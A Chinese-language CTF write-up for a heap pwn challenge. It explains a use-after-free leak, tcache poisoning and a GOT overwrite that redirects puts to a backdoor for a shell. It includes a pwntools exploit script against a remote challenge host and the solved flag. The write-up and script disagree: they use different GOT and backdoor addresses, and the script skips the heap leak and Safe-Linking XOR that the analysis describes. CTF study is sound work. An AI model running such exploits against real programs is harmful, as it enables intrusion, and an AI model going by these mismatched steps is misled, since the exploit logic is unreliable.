题目分析
程序使用 malloc 管理笔记(Note),存在典型的堆漏洞。
利用思路
-
泄露堆基址 (Heap Base):
- 申请 Note 1。
- 释放 Note 1(进入 Tcache)。
- 读取 Note 1(UAF Read)。此时 Note 1 的
key 字段(偏移 8 字节)包含指向 Tcache 管理结构的指针(即堆基址附近)。
- 注意处理
scanf/read 的输入输出缓冲问题,确保正确解析泄露地址。
-
Tcache Poisoning (Tcache 投毒):
- 更新 Note 1(UAF Write)。
- 修改
fd 指针(偏移 0 字节)。由于开启了 Safe Linking,需要写入的值为 Target ^ (HeapPtr >> 12)。
- 目标地址 (Target):
puts 函数的 GOT 表地址 (0x602020)。
-
任意地址写 (Arbitrary Write):
- 申请 Note 2(获取原 Note 1 的堆块)。
- 申请 Note 3(获取我们伪造的
puts GOT 地址处的堆块)。
- 更新 Note 3。将
backdoor 函数地址 (0x40089d) 写入 puts GOT 表。
-
触发 Shell:
- 调用
puts 函数(例如通过菜单循环打印信息)。此时 puts 已被替换为 backdoor,直接获取 Shell。
利用脚本
参考 :
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
HOST = '115.159.155.176'
PORT = 9993
# io = process('./pwn')
io = remote(HOST, PORT)
def create(ts, content):
io.sendlineafter(b"Selection:\n", b"1")
io.sendafter(b"timestamp:\n", ts)
io.sendafter(b"content:\n", content)
def delete(idx):
io.sendlineafter(b"Selection:\n", b"4")
io.sendlineafter(b"burn:\n", str(idx + 1).encode())
def update(idx, ts, content):
io.sendlineafter(b"Selection:\n", b"3")
io.sendlineafter(b"update:\n", str(idx + 1).encode())
io.sendafter(b"timestamp:\n", ts)
io.sendafter(b"content:\n", content)
backdoor_addr = 0x401276
puts_got = 0x404018
create(b"A"*8, b"A"*8)
delete(0)
update(0, p64(puts_got), b"")
create(b"B"*8, b"B"*8)
create(b"C"*8, b"C"*8)
update(2, p64(backdoor_addr), b"")
io.interactive()
Flag
flag{Fr33_Y0ur_M1nd_And_Th3_Chunks_W1ll_F0ll0w_?%?}